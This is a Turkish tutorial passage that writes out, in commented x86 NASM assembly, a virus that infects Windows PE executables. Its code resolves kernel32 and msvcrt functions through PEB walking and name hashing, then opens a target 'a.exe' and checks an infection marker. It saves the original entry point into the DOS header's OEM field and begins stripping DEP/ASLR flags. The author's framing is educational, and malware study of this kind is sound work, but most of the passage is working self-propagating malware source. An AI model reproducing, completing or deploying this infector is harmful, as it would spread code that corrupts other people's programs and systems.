Bu bölümde virüs kodumuzu geliştireceğiz. Başlamadan önce ahlaki konuların üzerinden kısaca geçelim. Bu çalışmadaki amacımız zararlı yazılıma teşvik veya çok tehlikeli bir kodun ortaya salıverilmesi değil. Şu bir gerçek ki zararlı yazılım yazanların bizim makalemize ihtiyacı yok, muhtemelen bizden çok daha ileri teknikleri de biliyorlar. Bizim amacımız başetmek durumunda olduğumuz bir tehdidi iyi tanımak. Paylaşacağım kodları incelediğinizde sizin de farkedeceğiniz gibi, mükemmel bir kod paylaştığımı söyleyemem, daha akıllıca düzenlemeler yapılabilirdi. Bunu Assembly seviyesinde söylüyorum tabi, bu seviyede işler biraz daha zor. Ek olarak kodları kullanmayı deneyecek arkadaşların farkedeceği bir durumu da paylaşayım, bulaşma işlemi her PE dosyasında işe yaramıyor. Her PE dosyasında yaraması için PE dosya başlığının bütünlüğünü korumak için daha fazla geliştirme yapılması gerekiyor. Bu da dokümante edilmemiş olan işletim sistemi yükleme adımının tersine mühendisliğinin yapılması ile mümkün. Bu durum çıtayı oldukça yükseltiyor, yani paylaşacağımız kodlar hemen alıp ne işe yaradıklarını anlamadan ve daha da geliştirilmeden zarar vermek için kolayca kullanılabilecek kodlar değil.
Diğer taraftan binlerce kitapta ve makalede bulunan virüs şudur, bunun şu türleri vardır, v.s. v.s. türü üstünkörü bilgilerden sıkılanlar ve gerçekten problemin ne olduğunu anlama ihtiyacı hisseden meslektaşlarımız ve güvenliğe ilgi duyan kişiler için bir ışık tutmak istedik. Bu konuda beni en iyi anlayacak olanlar Amazon’dan malware konusuyla ilgili tonla kitap alıp zaman kaybından ve hayal kırıklığından başka birşey yaşamayanlar olacaktır.
Artık işe koyulalım. Bu konuyu çok net biçimde anlamak isteyen arkadaşlar, lütfen materyali tekrar etsinler ve eksikliğini hissettikleri temel bilgiler için gerekli kaynakları incelesinler. Bu kaynakların başında Stack Tabanlı Hafıza Taşma Açıklıkları ve Exploit Shellcode Geliştirme video serilerimizi verebilirim. Yılmayın, hayat bilince daha güzel. Bilenleri işe alabilenler için daha da güzel.
Öncelikle kodumuzu Assembly diliyle geliştiriyoruz, çünkü başka hiçbir dil bize ihtiyacımız olan esnekliği vermiyor. Örneğin başka dillerde FS register’ına ulaşma imkanımız yok. Ayrıca kodumuz kendini herhangi bir dosyanın yüklendiği herhangi bir adreste bulacak. Yani import edilmiş fonksiyonları kullanma şansı yok. Bu yönüyle exploit shellcode’ları ile aynı kaderi paylaşacak. Bu nedenle de high level diller zaten bir işimize yaramayacak.
Her derleyici üreticisinin geliştirdiği pek çok optimizasyon yöntemi var, dolayısıyla benim yazdığımdan daha verimli kod üretebilirler, ama bazı durumlarda tam tersi de mümkün. Ben en çok stack’in yönetiminde ve ihtiyacım olan register değerlerinin ezilmemesi konusunda zorlandım. Kodla ilgili en utandığım kısım burası, stack yönetimi ve register’ların yönetimi daha iyi olabilirdi. Yine de bu alanda derleyicilerin de bağlı kaldığı calling convention’lara elimden geldiğince bağlı kalmaya çalıştım. Calling convention konusu en çok tersine mühendislik yapmak isteyebilecek arkadaşlar için önemli. Aslına bakarsanız exploit shellcode geliştirme, tersine mühendislik ve zararlı yazılım geliştirme konuları birbirleri ile iç içe. Hepsi temelde aynı bilgilere sahip olmayı gerektiriyor. Bu üçünden hangisinde ilerlerseniz diğer ikisine de faydası var.
Kodumuz NASM Assembler’ına derlenecek kodun 32 bit olması gerektiğini belirterek başlıyor.
[BITS 32]
Stratejimiz gereği uygulamanın ilk çalıştırılacak kodu bizim kodumuz olacak, biz daha sonra orjinal başlangıç adresine akışı yönlendireceğiz. Ancak her uygulamanın başlangıç koduna atlanmadan önce bir startup kodu çalışır. Bu kodun register’ları hangi değerlerle başlangıç koduna teslim ettiğini, bu değerlerin uygulamanın akışında önemli olup olmadığını anlamak pek de pratik olmayacağı için öncelikle register değerlerini daha sonra tekrar register’lara yüklemek üzere stack’e yazıyoruz.
; EAX hariç tüm genel amaçlı register'ları Shellcode'umuza girilmeden önceki halleri ile saklıyoruz push ebx ; callee saved register push esi ; callee saved register push edi ; callee saved register push ecx ; caller saved register push edx ; caller saved register push ebp ; stack frame tabanı push esp ; stack tavanı
Burada tek tek registerları stack’e yazmak yerine “pushad” instruction’ı ile tüm genel amaçlı register’ları stack’e yazabilirdim. Ama EAX register’ına fonksiyon geçişlerinde ihtiyacım olacak ve zaten onu bozacağım. Bu nedenle tüm fonksiyon çağrılarında da bu riski aldım ve bir sıkıntı çıkmadı. Benzer şekilde burada da bir problem olmadı.
Uygulamanın ilk yapacağı iş uygulama dosyasının bulunduğu dizinde bulunan “a.exe” isimli bir dosya varsa onu açmak olacak. Assembly seviyesinde ve hele de ihtiyaç duyacağımız kütüphanelerin fonksiyonlarını import etme imkanımız olmadığı için bunu söylemek yapmaktan oldukça kolay.
Shellcode çalışmamızda da detaylı olarak açıklandığı gibi, “kernel32.dll” kütüphanesi bizim için çok önemli. Bu kütüphane tüm proses’lerin hafıza alanına yüklenen (daha doğrusu map’lenen) bir kütüphane ve shellcode açısından çok kıymetli bir fonksiyonu barındırıyor “LoadLibrary”.
İçinde çalıştığımız prosesin hafıza alanına ihtiyaç duyduğumuz kütüphaneyi yüklemek zorundayız. Bu modül de (kütüphaneler de prosesin kendisi gibi bizim için birer modüldür) “fopen”, “fseek” ve diğer ihtiyaç duyduğumuz fonksiyonları barındıran “msvcr120.dll” modülü.
Bir müdülü yüklemek için kullanacağımız fonksiyon da LoadLibrary fonksiyonu olacak. Bir fonksiyonu çağırmak için iki şeyi bilmemiz gerekiyor, fonksiyonun adresi ve aldığı parametreler (ve tabi hangi sırada bu parametreleri beklediği). Bir fonksiyonun adresini bulmak içinse (shellcode’un zor yaşam koşulları içinde) öncelikle fonksiyonun içinde barındığı modülün baz adresini bulmamız gerekiyor.
Öncelikle LoadLibrary fonksiyonunu barındıran kernel32.dll kütüphanesinin baz adresini bulalım:
;kernel32.dll modül adresinin bulunması push 0x772a2220 ; hash(kernel32.dll) call modul_bul ;EAX ile modül baz adresini döndürür add esp, 4; call parametre alanını geri veriyoruz
Burada assembly kodumuzun içinde hazırladığımız modul_bul fonksiyonumuzu kullanıyoruz. Fonksiyonumuza parametre olarak bir hash değeri veriyoruz. Bu hash’in hesaplanma mantığı modul_bul fonksiyonunun içinde de gözlenebilir. “modul_bul” fonksiyonunu aşağıda görebilirsiniz:
modul_bul : ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov edx, [fs:0x30] ; PEB adresi mov edx, [edx + 0x0c]; PEB LOADER DATA adresi mov edx, [edx + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi # sonraki modülleri bulabilmek için EDX'e dokunulmamalı sonraki_modul : mov esi, [edx + 0x20]; esi = InInitOrder[0].module_name(unicode) # modül adının adresi modul_hash_hesaplama_bolumu : xor edi, edi xor eax, eax cld; lodsw instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz modul_hash_hesaplama_dongusu : lodsw; ESI nin işaret ettiği mevcut fonksiyon adı Unicode harfini(yani iki byteı) AX registerına yüklüyoruz ve ESI yi bir artırıyoruz test ax, ax; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz jz modul_hash_karsilastirma; AX register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz add edi, eax; Hash değerine mevcut karakteri ekliyoruz jmp modul_hash_hesaplama_dongusu modul_hash_karsilastirma : mov eax, [edx + 0x08] ; Modül baz adresi EAX'e atanıyor mov edx, [edx]; liste bileşeninin flink değeri ;cmp edi, [esp + 0x10] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz jnz sonraki_modul modul_bulundu : ; Bu noktada EAX register'ına modül baz adresi atanmış durumdadır. pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret
Modul_bul fonksiyonu içinde shellcode tekniklerini kullanıyoruz. İlk olarak FS register’ının işaret ettiği alanın hex 30 offset adresinde bulunan PEB adresini, bu adresin hex 0C offset adresinde PEB LOADER DATA adresini ve bu adresin de hex 1C offset’inde başlatılma sırasına göre modül listesinin başlangıç adresini buluyoruz. Sadece bu paragraf bile tek başına sizi yıldırabilir, bu satırları sırf sizin kafanız karışsın diye yazmıyorum. Ama bu tekniklerin detayına gireceğimiz yer bu makale değil. Bu konuları zaten Exploite Shellcode Geliştirme video serimizde derinlemesine açıklıyoruz. Lütfen virüs makalalerini genel hatları ile anlamaya çalışın, eksik kalan konuları diğer makalelerimiz ve videolarımızdan tamamlayın.
Başlatılma sırasına göre modül listesi bir zincir listedir. Her bir zincir bileşeninin içinde diğer zincir bileşeninin adresi bulunur. Bu adres de zincir bileşeninin 0X20 offset adresinde bulunmaktadır. Kodun içinde yeterince yorum bilgisi bulunuyor. Bu yüzden önemli olduğunu düşündüğüm bölümleri açıklamakla yetineceğim.
Burada yapacağımız işlem temel olarak hafızada yüklü olan tüm modüllerin isimlerinin bulunduğu veri alanlarını bulmak, bu isimlerin her birisi için kullanacağımız hash algoritması ile modül isminin hash değerini hesaplamak ve modul_bul fonksiyonuna parametre olarak verilen hash değeri ile karşılaştırmak. Daha sonra isminin hash değeri tutan modülün baz adresini yine zincir bileşeni içinden okumak ve EAX register’ı ile döndürmek.
Modül hash hesaplama döngüsü bölümünde de görebileceğiniz gibi hash değerini hesaplama yöntemimiz her bir karakteri AX register’ına atmak, EDI register’ında bulunan veriyi 15 bit sağa doğru kaydırmak (rotate ettirmek), ve daha sonra EAX register’ını EDI register’ı ile toplayarak yine EDI register’ında sonucu saklamak. EDI register’ı son karaktere gelindiğinde hesaplanmış hash değerini barındıracaktır. Kullandığımız hashing algoritması elbette kriptografik olarak oldukça yetersiz bir algoritma. Mesela hash değerinin uzunluğu 32 bit ve sırf bu yüzden bile çarpışma ihtimali çok yüksek. Ancak burada hafızada yüklü modül (ve daha sonra kullanacağımız için fonksiyon) isimlerinin hash değerlerinin birbirinden farklı olması bizim için yeterli.
Modül ve fonksiyon isimlerinin bulunmasında hash değeri kullanmamızın kodumuzun string’lerin incelenmesi ile kolayca anlaşılamamasına ve ayrıca az da olsa kod büyüklüğümüzü azaltmada bize faydası var. Bu yöntem exploit kodları için de aynı faydaları sağlıyor.
İzlediğimiz zincir bileşenlerinin her birinin 0X08 offset adresinde ilgili modülün baz adresi bulunuyor. Eğer hash değerimiz tutmuşsa bu değer EAX register’ında saklı bulunuyor, fonksiyonumuz EAX hariç tüm genel amaçlı register’ları eski haline getirerek dönüyor (return ediyor).
Kernel32.dll kütüphanesinin baz adresini bulduktan sonra bu kütüphane içinde LoadLibrary fonksiyonunun adresini bulmamız gerekiyor.
;LoadLibraryA fonksiyon adresinin bulunması (kernel32.dll kütüphanesinde) push eax ;kernel32.dll modül adresi push 0x583c436c ;hash(LoadLibraryA) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz
Burada da kütüphane baz adresini bulmak için yaptığımız gibi bir fonksiyonu çağırıyor ve fonksiyon adının hash değerini parametre olarak bu fonksiyona veriyoruz. Ancak bu sefer fonksiyon ismini hangi kütüphanede arayacağımız bilgisini de fonksiyona aktarmamız lazım. EAX register’ında bulunan bu bilgiyi de stack’e yazıyoruz.
fonksiyon_bul: ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov ebp, [esp + 0x24] ;Modül adresini al mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz add ebx, ebp ;Export names tablosunun VA adresini hesaplıyoruz sonraki_fonksiyon : ;fonksiyon_bulma_dongusu: dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz (pointer RVA formatında) add esi, ebp ;Modül baz adresini fonksiyon pointerının RVA adresine ekleyerek fonksiyon pointer'ının VA adresini hesaplıyoruz fonksiyon_hash_hesaplama_bolumu : xor edi, edi xor eax, eax cld ;lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz fonksiyon_hash_hesaplama_dongusu : lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz test al, al ;Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz jz fonksiyon_hash_karsilastirma ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz add edi, eax ;Hash değerine mevcut karakteri ekliyoruz jmp fonksiyon_hash_hesaplama_dongusu fonksiyon_hash_karsilastirma : cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz jnz sonraki_fonksiyon fonksiyon_bulundu : ;Fonksiyon adının hash değeri tuttuktan sonra fonksiyon adresi EAX register'ına aktarılır mov ebx, [edx + 0x24] ;Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz add ebx, ebp ;Export ordinals tablosunun VA adresini hesaplıyoruz mov cx, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasını elde ediyoruz (ordinal numarası 2 byte) mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz add ebx, ebp ;Export adres tablosunun VA adresini hesaplıyoruz mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz add eax, ebp ;Fonksiyonun VA adresini hesaplıyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret
Fonksiyon bulma fonksiyonumuzda izlediğimiz temel strateji ilgili modülün baz adresine ulaştıktan sonra Portable Executable (PE) dosya formatının kurallarına uygun biçimde Export edilen fonksiyonların adlarını sıra ile işlemek ve bu adların hash’lerini hesaplayarak parametre olarak aldığımız hash değeri ile karşılaştırmak.
Bunu yaparken ayrıca bir de sayaç kullanıyor ve kaçıncı sıradaki fonksiyon adının hash değerinin tuttuğunu takip ediyoruz. Çünkü Export tabloları 3 adet, isim tablosu, ordinal tablosu ve adres tablosu. Bizim tam olarak adres bilgisine ihtiyacımız var. Ancak adresi bulmak için önce fonksiyon adının bulunduğu sıradaki ordinal bilgisine ulaşmalı, buradan öğrendiğimiz sıra bilgisi yardımı ile de adres tablosundaki bilgiye ulaşıyoruz.
PE dosya formatı ve export tablosu hakkında detaylı bilgileri Stack Tabanlı Hafıza Taşma Açıkları ve Exploit Shellcode Geliştirme video serilerimizde bulabilirsiniz.
Fonksiyonun adresi olarak elde ettiğimiz değer Relative Virtual Address (RVA), yani modül baz adresinden itibaren fonksiyonun hangi adreste bulunduğu bilgisi. Virtual Address (VA), yani prosesin hafıza alanında fonksiyonun hangi adreste bulunduğunu ise RVA değerine modül baz adresini ekleyerek buluyoruz. Daha sonra bu değeri EAX register’ı içinde döndürüyoruz.
Uzun uğraşlar sonunda LoadLibrary fonksiyonunun adresini bulduktan sonra artık prosesin hafızasında yüklü olmayan farklı bir modülü hafıza alanına yükleyebiliriz.
İlk ihtiyacımız olan kütüphane dosya okuma, yazma, v.d. ihtiyaçlarımıza yönelik fonksiyonları barındıran “msvcr120.dll” kütüphanesi.
; LoadLibraryA fonksiyonunu çağırmak için "msvcr120.dll" string'ini stack'e yazıyoruz push 0 ; C string'in sonu push 0x6c6c642e ; "lld." push 0x30323172 ; "021r" push 0x6376736d ; "cvsm" push esp ;String'in stack'teki adresini stack'e yazıyoruz call eax ; call LoadLibraryA add esp, 16 ; call parametre alanını geri veriyoruz mov esi, eax ; ESI callee saved bir register olduğu için MSVCR120.DLL modülünün adresini bu register'da saklayacağız ; ESI = MSVCR120.DLL
LoadLibrary fonksiyonunun aldığı parametreleri, parametre sırası ve veri tiplerini MSDN veya başka kaynaklardan bulabiliriz. Yukarıdaki koda göre LoadLibrary fonksiyonu tek bir parametre alıyor, o da yükleyeceğim modülün adının adresi. Burada yine küçük bir shellcode tekniği kullanıyoruz, ayrı bir data section’ımız olmayacağı için string verilerimizi stack’e yazmak zorundayız. Daha sonra stack pointer’ı bu string’in adresi olarak kullanabiliriz.
Yüklenen kütüphanenin baz adresi EAX register’ı içinde döndürülüyor. Biz bu değeri daha sonra da birkaç defa kullanacağımız ve her seferinde aynı yolu defalarca yürümemek için ESI register’ında tutacağız.
Virüs kodumuzun temel işlevi bünyesinde bulunduğu proses’in dosya imajının bulunduğu dizinde yer alan “a.exe” isimli bir dosyayı açmaya çalışmak, bu isimde bir dosya varsa kendini bu dosyaya kopyalamaktı. Bu yüzden öncelikle msvcr120.dll kütüphanesinde yer alan “fopen” fonksiyonunun adresini bulmalıyız.
;fopen fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x0442088e ;hash(fopen) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8 ; call parametre alanını geri veriyoruz
Fopen fonksiyonunun adresi EAX register’ında bize döndürülüyor. Şimdi sıra “a.exe” dosyasının açılmasında.
;Kurban dosyanın açılması push 0x00000065 ; "\0\0\0e" push 0x78652e61 ; "xe.a" mov ebx, esp ;Dosya adı string'inin stack'teki adresini EBX register'ına atıyoruz push 0x002b6272 ; "\0+br" push esp ;Dosya açma modu string'inin stack'teki adresini stack'e yazıyoruz push ebx ;Dosya adı string'inin stack'teki adresini stack'e yazıyoruz call eax ; call fopen("filename","br+") add esp, 20 ;Stack'te tükettiğimiz alanları ve fopen parametreleri için alınan alanı geri veriyoruz
Fopen fonksiyonunu binary read write modunda a.exe dosyasını açmak için kullanıyoruz. Bu fonksiyonu çağırdıktan sonra fonksiyon başarılı olup olmadığı bilgisini EAX register’ında döndürüyor. Bu register convention olarak genellikle fonksiyon sonucunu döndürmek için kullanılıyor, biz de fonksiyonlarımızda benzer bir yaklaşımı kullanıyoruz. Şimdi “a.exe” adlı bir dosyayı açmayı başarabilmiş miyiz kontrol edelim.
test eax, eax ;Eğer dosya mevcut ve başarı ile açıldıysa EAX register'ı 0'dan farklı bir değer olmalı jz son_nokta ; Dosya açılamadıysa uygulama akışını orjinal entry point'e yönlendirme noktasına atlıyoruz
Eğer EAX register’ının değeri 0’dan farklı ise kodumuzun içindeki son_nokta label’ının bulunduğu yere atlıyoruz. Bu a.exe dosyasının bulunmaması veya başka bir nedenle gerçekleşebilir.
Eğer dosyamızı başarı ile açabilmişsek bir sonraki adımda dosya imajının içinde hemen IMAGE_DOS_HEADER başlığında bulunan OEM alanına ilerliyoruz. Bu alanda orjinal Entry Point değerini saklayacağımızı ikinci bölümde belirtmiştik. Bu yüzden bu alanın 0’dan farklı olup olmadığını kontrol edeceğiz. Eğer 0’dan farklı ise bu dosyanın zaten enfekte olduğu anlamına gelecek bizim için. Bu yöntem çok güvenilir bir yöntem mi, hayır değil. Çünkü OEM Identifier ve OEM Information alanlarının 0’dan farklı olduğu pek çok PE dosyası var. O yüzden niyetimiz ciddi olsa idi enfekte olup olmama kontrolünü daha güvenilir bir yöntemle yapmamış gerekirdi.
mov ebx, eax ; file handle'ını EBX register'ına atıyoruz (FILE *stream) ; #define SEEK_CUR 1 ; #define SEEK_END 2 ; #define SEEK_SET 0 ; int fseek(FILE *stream, long offset, int origin) ;fseek fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x0462085f ; hash(fseek) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz mov edi, eax ;fseek fonksiyonunun adresini EDI'a atıyoruz ; EDI = FSEEK push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push 0x24 ; OEM alanı offset değeri push ebx ; file handle'ı yukarıda EBX'e atılmıştı call edi ; call fseek(FILE *stream, long offset, int origin) add esp, 12 ;call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
Yukarıda da gördüğünüz gibi OEM alanlarının adresine ilerlemek için önce fseek fonksiyonunun adresini bulduk, daha sonra da bu fonksiyona verdiğimiz file handle parametresi, offset değeri ve origin (bizim durumumuzda dosyanın başından itibaren, yani SEEK_SET ile) parametreleri ile fonksiyonu çağırdık.
Bir sonraki aşamada bu adresteki değeri okumamız ve sıfır olup olmadığını incelememiz lazım.
; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) ;fread fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push esi ; msvcr120.dll modül adresi push 0x04520858 ;hash(fread) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz mov ecx, eax ; fread fonksiyonunun adresini ECX'e yazıyoruz ; ECX = FREAD sub esp, 4 ; buffer için yer açıyoruz mov edx, esp ; buffer adresini EDX'e atıyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; ESP+4'teyiz ; OEM alanında yer alan veri 0'dan farklı ise dosya zaten infected olduğundan kodu sonlandırıyoruz mov eax, [esp] ; Buffer'daki değeri EAX'e atıyoruz add esp, 4 ; Buffer alanını geri veriyoruz (ESP'yi yine orjinal seviyesine indiriyoruz) ; ESP orjinal noktasında test eax, eax ; OEM alanındaki verinin 0 olup olmadığını kontrol ediyoruz jnz son_nokta ; Eğer 0'dan farklı ise daha önceden enfekte olmuştur, program orjinal noktadan devam edebilir
Bu adımda da benzer şekilde fread fonksiyon adresini buluyoruz, fread fonksiyonuna uygun parametreleri stack’e yazıyoruz (parametreler ile ilgili detaylı bilgi MSDN’de bulunabilir) ve bu fonksiyonu çalıştırıyoruz. Fread okuduğu 4 byte’ı stack’te bizim gösterdiğimiz alana yazıyor, biz de bu değeri EAX register’ına attıktan sonra sıfır olup olmadığını kontrol ediyoruz.
Eğer dosya enfekte olmamış ise aşağıdaki işlemleri gerçekleştiriyoruz.
İlk amacımız orijinal giriş adresi değerini okumak ve daha sonra bu değeri OEM alanına yazmak. Çünkü orijinal giriş adresinin bulunduğu alanı virüs kodumuzu yazacağımız adres olarak ezeceğiz ve bulaştığımız dosyadaki virüs kodumuz çalışmasını bitirdiğinde uygulamanın normal akışına devam edebilmesi için bu adrese ihtiyacımız olacak.
; 1. AMAÇ: Address of Entry Point değerini oku ve OEM değerine yaz ; OEM alanına yazılan orjinal Address of Entry Point değeri shellcode'umuz çalıştıktan sonra uygulamanın normal akışına devam etmesi için kullanılacak ; IMAGE_NT_HEADERS offset'ine git push ecx ; push *fread push edi ; push *fseek push ebx ; FILE *stream call image_nt_headers_offsetine_yuru add esp, 12 ; call parametre alanını geri veriyoruz ; IMAGE_NT_HEADERS içinde 0x28 offset'e git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 1 ; SEEK_CUR push 0x28 ; IMAGE_NT_HEADERS içinde 0x28 offset'i push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; Address of Entry Point değerini oku sub esp, 4 ; buffer için yer açıyoruz mov edx, esp ; buffer adresini EDX'e ata push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call ecx ; call fread add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; ESP+4'teyiz (EDX tarafından işaret ediliyor) ; OEM değerinin bulunduğu 0x24 offset'ine git push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push 0 ; SEEK_SET push 0x24 ; offset push ebx ; FILE *stream call edi ; call fseek add esp, 12 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz ; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) ;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde) push esi ; msvcr120.dll modül adresi push 0x11380979 ; hash(fwrite) call fonksiyon_bul ;EAX ile fonksiyon adresini döndürür add esp, 8; call parametre alanını geri veriyoruz push ecx ; Caller saved register olan ECX'i saklıyoruz push edx ; Caller saved register olan EDX'i saklıyoruz push ebx ; FILE *stream push 4 ; nmemb - yazma sayısı push 1 ; size - her seferinde yazılacak veri miktarı push edx ; buffer call eax ; call fwrite add esp, 16 ; call parametre alanını geri veriyoruz pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz add esp,4 ; Buffer için aldığımız alanı da iade ediyoruz ; ESP orjinal noktasında
Bu bölüm ve sonrakiler adım adım anlatmak için oldukça uzun. Özetle Address of Entry Point değerinin bulunduğu noktadaki veriyi stack’te bir alana yazdıktan sonra bu değeri fwrite fonksiyonu yardımıyla OEM alanlarına yazıyoruz. Stack’te sakladığımız değerin adresini EDX register’ı ile takip ediyoruz. Bu bölümde ve sonrakilerde elbette optimizasyon yapılabilir, ancak işler çığırından çıkmasın diye gereksiz de olsa EDX register’ını korumak için dikkatli oluyoruz.
Bulaşacağımız dosya içinde çok defa ve farklı hedef adresleri bulmak zorundayız. Buradaki baş ağrımızı biraz daha azaltabilmek için bir fonksiyon yazdık. Bu fonksiyon bizi IMAGE_NT_HEADERS alanına kadar ilerletecek. Teorik olarak bu adrese ulaşmak için kullanmamız gereken ve IMAGE_DOS_HEADER başlığının sonunda bulunan Offset to New EXE Header değeri değişebilir. O yüzden her seferinde bu değerini okumamız gerekir. “image_nt_headers_offsetine_yuru” fonksiyonu sayesinde bu işlemi tekrar tekrar kodlamaktan kurtulmayı amaçlıyoruz.
image_nt_headers_offsetine_yuru : ; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var push ebx push esi push edi push ecx push edx push ebp push esp mov ebp, esp ; prolog push 0 ; SEEK_SET push 0x3C ; IMAGE_DOS_HEADER içinde 0x3C offset'te IMAGE_NT_HEADERS offset değerini bulacağız. mov ebx, [ebp + 32] push ebx ; FILE *stream call [ebp + 36] ; call fseek add esp, 12 ; 0x3C'yi (IMAGE_NT_HEADERS offset değerini) oku sub esp, 4 ; buffer için yer aç ; ESP+4 mov edx, esp ; buffer adresini EDX'e ata mov ebx, [ebp + 32] ; FILE *stream push ebx ; FILE *stream push 4 ; nmemb - okuma sayısı push 1 ; size - her seferinde okunacak veri miktarı push edx ; buffer call [ebp + 40] ; call fread add esp, 16 ; IMAGE_NT_HEADERS offset değerini ESI'ye atıyoruz mov esi, [esp] add esp, 4 ; IMAGE_NT_HEADERS offset'ine git push 0 ; SEEK_SET push esi ; IMAGE_NT_HEADERS offset'i mov ebx, [ebp + 32] ; FILE *stream push ebx ; FILE *stream call [ebp + 36] ; call fseek add esp, 12 mov eax, esi ; Tüm register'ları eski haline getiriyoruz pop esp pop ebp pop edx pop ecx pop edi pop esi pop ebx ret
Bir sonraki adımda uygulamanın DEP ve ASLR uyumluluğunu ortadan kaldıracağız. DEP’i iptal edeceğiz çünkü virüs kodumuzu kopyalayacağımız son section’ın çalıştırma hakkı olup olmayacağını bilmiyoruz. ASLR’ı ortadan kaldırmasak olmaz mıydı, olurdu. Çünkü zaten orjinal giriş noktasını RVA değeri olarak yazıyoruz ve uygulamanın normal akışına devam etmesi için modül baz adresi ile toplayarak devam edeceğimiz adresi bulacağız. Bu nedenle aslında gerekli değil.
